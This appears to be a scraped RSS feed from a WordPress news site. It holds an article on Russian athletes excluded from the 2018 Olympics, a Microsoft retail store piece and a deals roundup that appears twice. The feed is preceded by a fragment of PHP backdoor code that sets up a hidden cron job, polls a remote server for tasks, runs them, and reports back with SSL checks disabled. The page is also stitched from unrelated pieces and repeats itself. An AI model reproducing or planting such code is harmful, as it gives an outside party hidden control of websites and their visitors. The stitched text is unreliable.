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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Outlet – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 24 Jan 2018 13:11:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Outlet – Brief News https://briefnews.eu 32 32 ‘Disturbing decision, no evidence’ – French skiing outlet on reports of more Russian Olympic bans https://briefnews.eu/disturbing-decision-no-evidence-french-skiing-outlet-on-reports-of-more-russian-olympic-bans/ https://briefnews.eu/disturbing-decision-no-evidence-french-skiing-outlet-on-reports-of-more-russian-olympic-bans/#respond Wed, 24 Jan 2018 13:11:48 +0000 http://briefnews.eu/disturbing-decision-no-evidence-french-skiing-outlet-on-reports-of-more-russian-olympic-bans/ French sports news outlet Ski-nordique has condemned the International Olympic Committee’s reported decision to exclude leading Russian athletes from the 2018 PyeongChang Games, stressing no evidence of guilt has been presented.

In an article titled “Shipulin et Ustiugov privés de JO” (Shipulin and Ustiugov excluded from the Olympic Games), journalist Mirko Hominal slammed the International Olympic Committee’s (IOC) Invitation Review Panel, which was granted the right to approve Russian athletes for the upcoming Winter Games, for its reported decision.

Following the IOC decision to ban Russia from February’s Games in South Korea, the Olympic governing body ruled that “clean” Russian athletes will be able to compete under a neutral flag, provided their status is confirmed by the IOC-appointed panel.

READ MORE: Russian Olympic Committee banned from 2018 Winter Games, athletes allowed to compete as neutrals

The ROC included 500 athletes in the Olympic application which was sent to the IOC last week. The Invitation Review Panel immediately excluded 111 members, who in their view failed to meet their requirements.

ROC vice-president Stanislav Pozdnyakov, who received the approved list on Monday, said the list does not include Olympic biathlon champion Anton Shipulin, world-title holder in cross country skiing Sergey Ustiugov, and six-time Olympic gold medalist in short track skating Viktor Ahn, despite their non-involvement in any doping cases.

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“So in recent days a committee appointed by the IOC and led by a biased person banned athletes without any evidence, it is more than disturbing,” the French outlet said, reacting to the news.

The official reason for the athletes’ possible exclusion has not yet been announced, but Ski-nordique says the panel’s decision was driven by the fact that the athletes took part in the Sochi Games, where doping sample tampering allegedly took place, as well as the mentioning of their names in the McLaren report and Moscow Anti-Doping Laboratory database.

The French outlet also stressed that all of their doping control tests carried out abroad by independent bodies were clean.

It also insists that the IOC and the World Anti-Doping Agency (WADA) have a completely different approach towards doping cases involving athletes representing Western, presumably Anglo-Saxon, countries. While punishing Russia for doping violations which have not been proved, the bodies give dispensations to Western athletes allowing them to officially use doping under WADA’s Therapeutic Use Exemption (TUE) program, it noted.

Hominal stressed that Shipulin and Ustiugov, who have never tested positive for banned substances, could be forced to watch the Olympics on TV, while other athletes will have a better chance of winning medals in PyeongChang in their absence. He also recalls the story of Norwegian skier Martin Sundby, whose doping test taken in the summer of 2016 revealed elevated levels of ventolline, a medicine used to ease asthma symptoms.

Further exploration showed that the athlete had exceeded the maximum allowed use of the drug by 15 times.

“But he is Norwegian, and not Russian, so we give him a two-month suspension from July and August, nice for a doper, and of course nobody has ever thought of banning him from the 2018 Olympics,” Hominal said.

Following the news regarding the possible bans of leading Russian athletes, the ROC said it will send an official letter to the IOC to demand an explanation for their controversial decision.

READ MORE: Russian Olympic Committee to demand explanation from IOC over Winter Games bans

“In accordance with the Executive Board’s decision, the IOC has an exclusive right to invite or not invite particular athletes [to the Olympics]. At the same time the reasons for [refusing invitations] must be explicitly explained to the athletes,” ROC vice-president Pozdnyakov said on Tuesday.

“Ahn, Ustiugov and Shipulin were not mentioned in the Oswald Commission report, neither have they been involved in any doping cases. They underwent multiple doping tests during their careers, proving that they are clean athletes. Nevertheless, their names are currently missing from the list of potential participants in the games,” he added.

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ANALYSIS:

After years of speculation, Microsoft finally confirmed plans to open its first physical retail store in Europe.

The tech giant revealed that it will open a store by Oxford Circus in London’s Regent Street, a prestigious thoroughfare in the heart of the U.K. capital. Interestingly, the new Microsoft store will be situated just a stone’s throw from Apple’s flagship outlet, which reopened with a redesign just last year.

Microsoft already operates online stores in Europe, of course, selling everything from hardware such as Xbox One and Surface Book, to software including Office and games.The company has long flirted with a European brick-and-mortar presence, with rumors of an imminent European launch dating back at least to 2012. But for one reason or another, it has never quite come to fruition.

A history of Microsoft stores

The Seattle-based firm first debuted an “on-the-ground” retail experience in 1999 at the Sony-owned Metreon shopping complex in San Francisco, but the company exited there in 2010. Microsoft kickstarted its proper retail store chain efforts in Scottsdale, Arizona, in 2009. The company now claims almost one hundred retail stores across the U.S., including its New York flagship which opened in 2015. It has since gone international, with retail stores opening in Canada, Puerto Rico, and Australia.

A growing trend we’re seeing is “online” and traditionally software-focused companies shifting further into the brick-and-mortar realm. Amazon has been opening physical bookstores in the U.S., while it has a growing presence on university campuses in the U.S. too where students can try out the company’s own-brand devices. Oh, then there’s its $ 13.7 billion acquisition of supermarket chain Whole Foods.

Google, too, has dabbled increasingly in physical outlets, though it has yet to go full-throttle with fully-fledged retail stores. However, with yesterday’s news that it is buying HTC’s Pixel smartphone team for more than $ 1 billion, that could change in the future.

With Microsoft edging deeper into the hardware realm, now selling a bunch of own-brand Surface laptops, tablets, all-in-one PCs, consoles, mixed reality headsets, accessories, and even a long-rumored phone reportedly in the works, the need to have a physical presence is more important than ever.

“Our customer experience in our physical stores generates confidence and trust in our products and services,” noted David Porter, head of Microsoft Stores. Visitors can expect to see a range of products not just for sale, but also for show across computing, gaming, mixed reality, and artificial intelligence (AI), he added.

The London store has been a long time coming, though a firm date for its opening hasn’t been given.

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TOP TECH DEALS

Update: Sold out

If you want to start collecting Eneloop batteries (and you should), the best place to start is the 4-pack of AAs with a charger, and you can get it for just $ 16 right now, the best price we’ve seen since January.

If you know you’ll need more, $ 17 is a decent price on the 8-pack as well.

$ 70 for a Logitech Harmony remote is a great deal on its face, but the real reason to buy this model is the included Harmony Home Hub.

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The Hub allows you to use your iPhone, Android device, or even an Amazon Echo to control everything a Harmony remote can (which is basically any piece of home theater gear you can think of). So even when you inevitably lose the included remote behind the couch cushions, you’ll still have multiple ways to take control of all of your home theater gear.

Considering the hub alone sells for over $ 80 right now, getting the hub plus a remote for an all-time low $ 70 is a fantastic opportunity.

If you’re still listening to your TV through its built-in speakers, drop whatever you’re doing and check out this Sony Sound Base for an all-time low $ 118.

Just set your TV on top, plug it in, and you’ll instantly enjoy great-sounding 2.1 audio and Google Cast support. And if you want to get really fancy, you can even add wireless Sony speakers a la carte to build a receiver-free surround sound system.

These Mackie reference monitors almost always sell for $ 100 on Amazon, and even at that price are the top-sellers in the “Studio Audio Monitors” category. So if you can get them for $ 20 off, you should jump at the chance.

The current iteration is just over a year old at this point, but Apple’s 12″ MacBook is still undeniably gorgeous, and Best Buy’s taking a whopping $ 350 off multiple configurations right now, easily the best deal we’ve ever seen.

Ultimate Ears’ MEGABOOM Bluetooth speaker is the extra large, waterproof version of the best Bluetooth speaker on the market, and you can score a refurb for an all-time low $ 130 right now.

Anker makes our readers’ favorite affordable Bluetooth speaker and Bluetooth earbuds, and both are on sale today on Amazon.

The SoundBuds were my go-to Bluetooth earbuds until I got a pair of AirPods, and the SoundCore in particular is notable for its impressive bass and 24 hour battery life.

Anker’s SoundCore is your favorite Bluetooth speaker, but if you need something a little more portable, they don’t get much smaller than the SoundCore nano.

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With a sole 3W driver and only four hours of battery life, the nano’s not going to blow you away, but its aluminum construction looks fantastic, you can tie it to the outside of a bag, and it’ll get the job done for quick listening sessions on the go.

Nonda’s original Zus smart car charger was a one-of-a-kind device with two very poorly-placed USB ports, but the newly redesigned Quick Charge 2.0 model fixes that fatal flaw for just $ 8.

That’s a great price for any Quick Charge car charger, but Nonda’s has some features you won’t find anywhere else. Most notably, your phone connects to the charger over Bluetooth, and every time the connection drops (meaning your car has turned off), a free app will make a note of your location so you can find your parking spot later.

In addition, you can track your mileage for tax and expensing purposes (free for 60 drives per month, $ 3/month or $ 30/year for unlimited), and even monitor the health of your car battery if you sign up for a $ 1 per month premium subscription. Even if you don’t use those features though, this is well worth the $ 8 for the parking location feature alone.

External Bluetooth transmitters and receivers with 3.5mm jacks have been around for years, but Etekcity’s new model raises the bar with support for optical (SPDIF) audio.

The little box can both receive and transmit Bluetooth signals, and includes SPDIF in and out ports to connect it to your TV or high-end audio equipment. Plus, it can even pair to two pairs of headphones simultaneously when transmitting, which would allow two people to, say, listen to the same TV over headphones to avoid waking up someone in the next room. Just be sure to use promo code 65ML8Y3V at checkout to save a few bucks.

Most smart lighting systems require you to use special bulbs, but Lutron wants to replace your light switches instead.

$ 120 today gets you two dimmer switches, two remotes, and a bridge to control them. With these installed, you’ll be able to control any built-in light in your house with a smartphone app, Alexa, Google Assistant, or even Siri. This combo normally sells for $ 40 more, and this price is an all-time low.

Every modem rental fee you pay to your ISP is padding for their bottom line, and a total rip-off for you. Fortunately, you can buy your own modem for a relatively small upfront cost, and knock a few bucks off your monthly bill.

There used to be a general consensus that Motorola’s SB6141 was the best modem for most cable internet subscribers, but the newer SB6183 is supports double the maximum download speeds (686mbps), which is important for future-proofing purposes, if nothing else. We’ve seen refurbs on this model in the $ 50-$ 60 range, but $ 40’s an all-time low.

Most laptops don’t have CD drives anymore, which is mostly fine, except for that one time that inevitably pops up every year or two where you really wish you had one. Now, you can for just $ 21, no extra power cable required.

It’s going to be a few years until all of our gadgets use USB-C exclusively, so in the meantime, you should probably pick up a few cable adapters. $ 6 today gets you a pair of microUSB to USB-C adapters, plus one USB 3.0 adapter.

One day, we might get representatives in Washington that value their constituents’ privacy over corporate profits, but until then, it’s as good a time as any to sign up for a VPN service. Luckily, it costs less per month than a typical trip to Starbucks.

NordVPN has long been one of the most popular and reliable VPN providers out there, and if you sign up for a one-year membership, promo code VIP70 will drop your annual price from $ 69 to $ 48. If you’re sure you want to commit, use this link instead to get a special two year plan for $ 72 with code 2YSpecial2017. Lifehacker has recommended Nord in some previous guides, but if you have any firsthand experience with the service, sound off in the comments!

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Amazon’s Prime Store Card automatically nets you 5% cash back on all Amazon purchases, but from now until the middle of May, they’re adding 10% on top of that for select Mother’s Day gifts. Think relaxing candles, fancy baby gear to make life a little easier, and noise cancelling headphones to drown everyone out.

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Note that the Prime Store Card is NOT the same thing as the Amazon Rewards Visa. Both cards include 5% cash back, but the Visa is a full-on credit card, while the Prime Store Card can only be used on Amazon.com.

There are lots of different ways to control your smart home devices, but Logitech’s Pop might be the fastest, not to mention the most fun.

The Pop is a button. A button that does stuff. Three things in fact, depending on how you press it, and what it does is completely up to you. It can dim your lights. It can control your SONOS system. If you have a Logitech Harmony Hub (ahem), it can even control your home theater. Hell, it can even trigger an IFTTT recipe, meaning it can do basically anything.

The starter kit (which includes two buttons and a bridge) is down to $ 60 on Amazon right now, if you’re willing to wait out a backorder. That’s $ 40 less than usual, and an all-time low.

Even if you haven’t been to any of these places, The Library of Congress designed these prints to be more fantasy than reality anyway. From landmarks like the Grand Canyon and Yellowstone to archival activity designs, these beautiful canvas prints are ready to hang, and 50% off from Fab.com.

We see deals all the time on copper string lights, but if you prefer the look of “globe” style incandescents, you can get a 25′ strand with 25 bulbs for $ 15 today. It’s already warm outside, so string these up on your patio and enjoy the outdoors.

You can’t control these semi-smart power outlets with your phone, or automate them with IFTTT recipes like you can with Belkin’s WeMo line, but you can control them from across your house with a remote control, and they’re incredibly cheap today.

If your spring cleaning doesn’t involve revamping your home goods, what are you even doing? Add some awesome infographics to your walls with Pop Chart Lab’s 20% off sitewide sale. Get everything from the Connected Characters of Seinfeld to every single bird in North America. Enter the code VERNALVALUE at checkout to see your discount.

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Add even more pop art to your life with some housewares, like pint glasses, tote bags, and more at a discount. Not only are they already marked down 20-50% off, the sitewide 20% off works on them as well.

And if you need an attractive and easy way to hang your new posters, the 20% also works on poster rails.

Minted doesn’t just make the perfect twee card for any occasion; they also have a ton of art prints and stationary that would make any office or apartment look like an Instagram come to life. Right now, use the code SHINE and get 20% off all foil-pressed items, including photo art, prints, and yes, even cards.

Just when you thought you’d seen it all in the world of desk lamps, Aukey’s discounting one that folds up to fit in your pocket, and includes a battery to run for a few hours untethered from the wall. Just look at how many different ways you can set it up!

I’m not sure I even own 20 pairs of pants, but it never hurts to plan for the future.

Yesterday, we shared that Belkin’s WeMo Mini Smart Switch was on sale for $ 30, but TP-Link has blown that deal out of the water with a pair of discounts.

You can choose from the standard TP-Link Smart Plug for $ 18, or the functionally identical Mini model for $ 25, with the discount shown in cart. Those are both the best prices we’ve ever seen, and fantastic deals for anyone looking to dip their toes into home automation. These work almost exactly the same as WeMo switches, with the exception of their lack of IFTTT support.

Before you comment that the prices are wrong, let me reiterate one more time that you won’t see the discount until you get to the checkout screen.

We see a lot of deals on solar-powered motion-sensing outdoor spotlights, but I don’t think we’ve ever seen a 2-pack for under $ 10. This isn’t a brand we post very often, but it seems basically identical to similar lights we’ve seen.

Sometimes, a normal water bottle just isn’t enough. This vacuum-insulated vessel from RTIC holds 64 ounces of your favorite fluid, be it water, coffee, or beer from your local tap house, and keeps it cold for up to 24 hours, or hot for six.

I own RTIC can koozies and a tumbler, and their temperature regulation is nothing short of magical, so the bigger the better, as far as I’m concerned. $ 18 is within $ 1 of an all-time low price, so grab yours before this deal runs dry.

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Mornings when you have to do your hair are always the ones you probably feel most annoyed at the time. But Amazon is marking down a pair of hair straightener brushes to under $ 30 (which is about 1/4 of what my hair brush and straightener cost together), to help smooth any time management creases you may have.

The $ 30 model has 6 heat settings (that reaches up to 395 degrees) and a streamlined brush head.

The $ 22 model has only 3 heat settings, which works best with people with fine hair.

$ 236 might seem like a lot to spend on a set of dumbbells, but these Bowflex adjustable models take up way less room than a full rack of weights, and certainly cost less over time than a gym membership.

These 4.7 star rated weights were on sale for an all-time low $ 229 over the weekend, but sold out relatively quickly. So if you missed out, this is still a great price.

What better way to get ready for the better weather than an extra 20% off at the Under Armour Outlet? This sale is full of practically every style you can think of, from the classic Under Armour long-sleeves to training shoes to their Threadborne microthread technology, perfect for running outside in the warmer months.

The Bouqs is probably the best place to use when sending flowers right now. The bouquets are unique and the blooms are harvested from the side of a freakin’ volcano. And right now, save 30% on select Mother’s Day blooms (without the vase), and forget about the whole ordering flowers last minutes thing. Use the code MOM30 at checkout to save.

FYI: The promo is only valid for new customers, and only works if you set your delivery date between 5/9 and 5/11 and if you don’t add a vase.

This $ 20 shiatsu massage pillow includes four rotating massage nodes and infrared heating to knead your aching muscles. It even comes with a car adapter to ease tension during long road trips, or just on your commute home after a tough day in the office.

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Update: Grab the hydrofluoric acid and a large plastic container, because this deal is dead.

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Breaking Bad, the best television show humanity has ever created, is just $ 35 on Blu-ray, today only. Is that the best price ever? You’re goddamn right.

Just to reiterate the purity of this deal, it’s only been below $ 50 on one prior occasion (around the holiday shopping season last year), so you shouldn’t need to dig up a barrel full of money to afford it.

Some of you may say, “why buy this when it’s on Netflix?” To this I say, you should talk to some Arrested Development fans.

While supplies last, Amazon’s marked several X-Men Blu-rays down to just $ 8 each. You don’t need to be Professor Xavier to know that’s a great deal.

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We’ve seen a few ~$ 40 deals on Civilization VI over the last few weeks, but Amazon just dropped it to $ 30 for the first time ever. We aren’t sure how long this will last, so place your order before Gandhi nukes the deal.

After everyone else in your office has stopped the impromptu NERF gun fighting and gone back to filing expense reports and making sales calls, you alone will be able to continue running around shooting everyone, because you bough 150 extra darts for $ 7. I recommend wrapping your necktie around your forehead and scribbing some sharpie under your eyes; it projects toughness.

Titanfall 2 came out at the worst possible time last year to gain a fan base, but it really is a great game, and the campaign alone is worth $ 24.

A few days ago, we posted a $ 2 deal (still available) on a fidget spinner that was shipping from China sometime in the next month. But if you just can’t wait to get your hands on one of these things, here’s a $ 5 model that’s eligible for Prime shipping.

If you need an extra controller for your Xbox One, here’s a chance to pick one up for $ 39, which is about as cheap as they ever get.

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The Xbox One S gamepad improves on the original with a textured grip, double the range, and most importantly, Bluetooth, meaning you can connect it to your PC without an adapter.

Prime members can preorder and save 20% on Mario Kart 8 Deluxe for their Nintendo Switch, which isn’t unusual (that benefit applies to all preorder and new release games), but if recent history is any indication, they could very well sell out of copies prior to launch. As always, you won’t see the discount until checkout.

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Eneloop batteries, Civilization VI, and the complete Breaking Bad Blu-ray lead off Friday’s best deals.

Bookmark Kinja Deals and follow us on Twitter to never miss a deal.

TOP TECH DEALS

Eneloop 4-Pack AA with Charger, $ 16

Update: Sold out

If you want to start collecting Eneloop batteries (and you should), the best place to start is the 4-pack of AAs with a charger, and you can get it for just $ 16 right now, the best price we’ve seen since January.

If you know you’ll need more, $ 17 is a decent price on the 8-pack as well.

Logitech Harmony Smart Control, $ 70

$ 70 for a Logitech Harmony remote is a great deal on its face, but the real reason to buy this model is the included Harmony Home Hub.

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The Hub allows you to use your iPhone, Android device, or even an Amazon Echo to control everything a Harmony remote can (which is basically any piece of home theater gear you can think of). So even when you inevitably lose the included remote behind the couch cushions, you’ll still have multiple ways to take control of all of your home theater gear.

Considering the hub alone sells for over $ 80 right now, getting the hub plus a remote for an all-time low $ 70 is a fantastic opportunity.

Sony Sound Base, $ 118

If you’re still listening to your TV through its built-in speakers, drop whatever you’re doing and check out this Sony Sound Base for an all-time low $ 118.

Just set your TV on top, plug it in, and you’ll instantly enjoy great-sounding 2.1 audio and Google Cast support. And if you want to get really fancy, you can even add wireless Sony speakers a la carte to build a receiver-free surround sound system.

Mackie CR3 3“ Creative Reference Multimedia Monitors, $ 80

These Mackie reference monitors almost always sell for $ 100 on Amazon, and even at that price are the top-sellers in the “Studio Audio Monitors” category. So if you can get them for $ 20 off, you should jump at the chance.

Anker SoundCore, $ 31 with code ANKMAY77 | Anker SoundBuds, $ 23 with code ANKER233 | Anker SoundBuds NB10, $ 30 with code ANKER260

Anker makes our readers’ favorite affordable Bluetooth speaker and Bluetooth earbuds, and both are on sale today on Amazon.

The SoundBuds were my go-to Bluetooth earbuds until I got a pair of AirPods, and the SoundCore in particular is notable for its impressive bass and 24 hour battery life.

Anker SoundCore nano, $ 19 with code KINANK66. Silver, gray, and pink only.

Anker’s SoundCore is your favorite Bluetooth speaker, but if you need something a little more portable, they don’t get much smaller than the SoundCore nano.

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With a sole 3W driver and only four hours of battery life, the nano’s not going to blow you away, but its aluminum construction looks fantastic, you can tie it to the outside of a bag, and it’ll get the job done for quick listening sessions on the go.

Nonda Car Charger, $ 8

Nonda’s original Zus smart car charger was a one-of-a-kind device with two very poorly-placed USB ports, but the newly redesigned Quick Charge 2.0 model fixes that fatal flaw for just $ 8.

That’s a great price for any Quick Charge car charger, but Nonda’s has some features you won’t find anywhere else. Most notably, your phone connects to the charger over Bluetooth, and every time the connection drops (meaning your car has turned off), a free app will make a note of your location so you can find your parking spot later.

In addition, you can track your mileage for tax and expensing purposes (free for 60 drives per month, $ 3/month or $ 30/year for unlimited), and even monitor the health of your car battery if you sign up for a $ 1 per month premium subscription. Even if you don’t use those features though, this is well worth the $ 8 for the parking location feature alone.

Etekcity Bluetooth Receiver/Transmitter with SPDIF Support, $ 30 with code 65ML8Y3V

External Bluetooth transmitters and receivers with 3.5mm jacks have been around for years, but Etekcity’s new model raises the bar with support for optical (SPDIF) audio.

The little box can both receive and transmit Bluetooth signals, and includes SPDIF in and out ports to connect it to your TV or high-end audio equipment. Plus, it can even pair to two pairs of headphones simultaneously when transmitting, which would allow two people to, say, listen to the same TV over headphones to avoid waking up someone in the next room. Just be sure to use promo code 65ML8Y3V at checkout to save a few bucks.

Lutron Wireless Smart Dimmer Switch Combo, $ 120

Most smart lighting systems require you to use special bulbs, but Lutron wants to replace your light switches instead.

$ 120 today gets you two dimmer switches, two remotes, and a bridge to control them. With these installed, you’ll be able to control any built-in light in your house with a smartphone app, Alexa, Google Assistant, or even Siri. This combo normally sells for $ 40 more, and this price is an all-time low.

Refurb Motorola SB6183 Cable Modem, $ 40

Every modem rental fee you pay to your ISP is padding for their bottom line, and a total rip-off for you. Fortunately, you can buy your own modem for a relatively small upfront cost, and knock a few bucks off your monthly bill.

There used to be a general consensus that Motorola’s SB6141 was the best modem for most cable internet subscribers, but the newer SB6183 is supports double the maximum download speeds (686mbps), which is important for future-proofing purposes, if nothing else. We’ve seen refurbs on this model in the $ 50-$ 60 range, but $ 40's an all-time low.

iClever USB 3.0 CD/DVD-RW Drive, $ 21 with code ICDVD008

Most laptops don’t have CD drives anymore, which is mostly fine, except for that one time that inevitably pops up every year or two where you really wish you had one. Now, you can for just $ 21, no extra power cable required.

3-Pack USB-C Adapters, $ 6 with code iXCC5990

It’s going to be a few years until all of our gadgets use USB-C exclusively, so in the meantime, you should probably pick up a few cable adapters. $ 6 today gets you a pair of microUSB to USB-C adapters, plus one USB 3.0 adapter.

1 Year NordVPN, $ 48 with code VIP70 | 2 Year Plan, $ 72 with code 2YSpecial2017

One day, we might get representatives in Washington that value their constituents’ privacy over corporate profits, but until then, it’s as good a time as any to sign up for a VPN service. Luckily, it costs less per month than a typical trip to Starbucks.

NordVPN has long been one of the most popular and reliable VPN providers out there, and if you sign up for a one-year membership, promo code VIP70 will drop your annual price from $ 69 to $ 48. If you’re sure you want to commit, use this link instead to get a special two year plan for $ 72 with code 2YSpecial2017. Lifehacker has recommended Nord in some previous guides, but if you have any firsthand experience with the service, sound off in the comments!

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15% back on select Mother’s Day gifts with Amazon Prime Store Card

Amazon’s Prime Store Card automatically nets you 5% cash back on all Amazon purchases, but from now until the middle of May, they’re adding 10% on top of that for select Mother’s Day gifts. Think relaxing candles, fancy baby gear to make life a little easier, and noise cancelling headphones to drown everyone out.

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Note that the Prime Store Card is NOT the same thing as the Amazon Rewards Visa. Both cards include 5% cash back, but the Visa is a full-on credit card, while the Prime Store Card can only be used on Amazon.com.

Zitrades Globe String Light Strand, $ 15 with code B9PRAZG3

We see deals all the time on copper string lights, but if you prefer the look of “globe” style incandescents, you can get a 25' strand with 25 bulbs for $ 15 today. It’s already warm outside, so string these up on your patio and enjoy the outdoors.

Etekcity 3-Pack Remote Outlet Switches, $ 15 with code D6F2ER6B

You can’t control these semi-smart power outlets with your phone, or automate them with IFTTT recipes like you can with Belkin’s WeMo line, but you can control them from across your house with a remote control, and they’re incredibly cheap today.

20% off everything with code VERNALVALUE.

If your spring cleaning doesn’t involve revamping your home goods, what are you even doing? Add some awesome infographics to your walls with Pop Chart Lab’s 20% off sitewide sale. Get everything from the Connected Characters of Seinfeld to every single bird in North America. Enter the code VERNALVALUE at checkout to see your discount.

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Add even more pop art to your life with some housewares, like pint glasses, tote bags, and more at a discount. Not only are they already marked down 20-50% off, the sitewide 20% off works on them as well.

And if you need an attractive and easy way to hang your new posters, the 20% also works on poster rails.

20% off foil-pressed products with code SHINE

Minted doesn’t just make the perfect twee card for any occasion; they also have a ton of art prints and stationary that would make any office or apartment look like an Instagram come to life. Right now, use the code SHINE and get 20% off all foil-pressed items, including photo art, prints, and yes, even cards.

Aukey Foldable Desk Lamp, $ 20 with code AUKLAMP5

Just when you thought you’d seen it all in the world of desk lamps, Aukey’s discounting one that folds up to fit in your pocket, and includes a battery to run for a few hours untethered from the wall. Just look at how many different ways you can set it up!

20-Pack Pant Hangers, $ 16 with code G5LGSB5O

I’m not sure I even own 20 pairs of pants, but it never hurts to plan for the future.

TP-Link Smart Plug Mini, $ 25 | TP-Link Smart Plug, $ 18. Discount shown at checkout

Yesterday, we shared that Belkin’s WeMo Mini Smart Switch was on sale for $ 30, but TP-Link has blown that deal out of the water with a pair of discounts.

You can choose from the standard TP-Link Smart Plug for $ 18, or the functionally identical Mini model for $ 25, with the discount shown in cart. Those are both the best prices we’ve ever seen, and fantastic deals for anyone looking to dip their toes into home automation. These work almost exactly the same as WeMo switches, with the exception of their lack of IFTTT support.

Before you comment that the prices are wrong, let me reiterate one more time that you won’t see the discount until you get to the checkout screen.

2-Pack Solar Spotlights, $ 9 with code VK7FNKCB

We see a lot of deals on solar-powered motion-sensing outdoor spotlights, but I don’t think we’ve ever seen a 2-pack for under $ 10. This isn’t a brand we post very often, but it seems basically identical to similar lights we’ve seen.

RTIC 64 oz. Bottle, $ 18

Sometimes, a normal water bottle just isn’t enough. This vacuum-insulated vessel from RTIC holds 64 ounces of your favorite fluid, be it water, coffee, or beer from your local tap house, and keeps it cold for up to 24 hours, or hot for six.

I own RTIC can koozies and a tumbler, and their temperature regulation is nothing short of magical, so the bigger the better, as far as I’m concerned. $ 18 is within $ 1 of an all-time low price, so grab yours before this deal runs dry.

TOP LIFESTYLE DEALS

KINGDOMCARES Hair Straightener Brushes, $ 22-$ 30

Mornings when you have to do your hair are always the ones you probably feel most annoyed at the time. But Amazon is marking down a pair of hair straightener brushes to under $ 30 (which is about 1/4 of what my hair brush and straightener cost together), to help smooth any time management creases you may have.

The $ 30 model has 6 heat settings (that reaches up to 395 degrees) and a streamlined brush head.

The $ 22 model has only 3 heat settings, which works best with people with fine hair.

Bowflex SelectTech Adjustable Dumbbells (Pair), $ 236

$ 236 might seem like a lot to spend on a set of dumbbells, but these Bowflex adjustable models take up way less room than a full rack of weights, and certainly cost less over time than a gym membership.

These 4.7 star rated weights were on sale for an all-time low $ 229 over the weekend, but sold out relatively quickly. So if you missed out, this is still a great price.

Extra 20% off Under Armout Outlet

What better way to get ready for the better weather than an extra 20% off at the Under Armour Outlet? This sale is full of practically every style you can think of, from the classic Under Armour long-sleeves to training shoes to their Threadborne microthread technology, perfect for running outside in the warmer months.

30% off select Mother’s Day bouquets with code MOM30

The Bouqs is probably the best place to use when sending flowers right now. The bouquets are unique and the blooms are harvested from the side of a freakin’ volcano. And right now, save 30% on select Mother’s Day blooms (without the vase), and forget about the whole ordering flowers last minutes thing. Use the code MOM30 at checkout to save.

FYI: The promo is only valid for new customers, and only works if you set your delivery date between 5/9 and 5/11 and if you don’t add a vase.

Nekteck Shiatsu Deep Kneading Massage Pillow, $ 20 with code GS8I3GSH

This $ 20 shiatsu massage pillow includes four rotating massage nodes and infrared heating to knead your aching muscles. It even comes with a car adapter to ease tension during long road trips, or just on your commute home after a tough day in the office.

TOP MEDIA DEALS

Breaking Bad: The Complete Series, $ 35

Update: Grab the hydrofluoric acid and a large plastic container, because this deal is dead.

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Breaking Bad, the best television show humanity has ever created, is just $ 35 on Blu-ray, today only. Is that the best price ever? You’re goddamn right.

Just to reiterate the purity of this deal, it’s only been below $ 50 on one prior occasion (around the holiday shopping season last year), so you shouldn’t need to dig up a barrel full of money to afford it.

Some of you may say, “why buy this when it’s on Netflix?” To this I say, you should talk to some Arrested Development fans.

TOP GAMING DEALS

Sid Meier’s Civilization VI, $ 30

Update: Sold out

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We’ve seen a few ~$ 40 deals on Civilization VI over the last few weeks, but Amazon just dropped it to $ 30 for the first time ever. We aren’t sure how long this will last, so place your order before Gandhi nukes the deal.

Titanfall 2, $ 24

Titanfall 2 came out at the worst possible time last year to gain a fan base, but it really is a great game, and the campaign alone is worth $ 24.

Fidget Spinner, $ 5 with code 59ZB36Z4

A few days ago, we posted a $ 2 deal (still available) on a fidget spinner that was shipping from China sometime in the next month. But if you just can’t wait to get your hands on one of these things, here’s a $ 5 model that’s eligible for Prime shipping.

Xbox One S Wireless Controller, $ 39

If you need an extra controller for your Xbox One, here’s a chance to pick one up for $ 39, which is about as cheap as they ever get.

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The Xbox One S gamepad improves on the original with a textured grip, double the range, and most importantly, Bluetooth, meaning you can connect it to your PC without an adapter.

Preorder Mario Kart 8 Deluxe, $ 48 for Prime Members

Prime members can preorder and save 20% on Mario Kart 8 Deluxe for their Nintendo Switch, which isn’t unusual (that benefit applies to all preorder and new release games), but if recent history is any indication, they could very well sell out of copies prior to launch. As always, you won’t see the discount until checkout.

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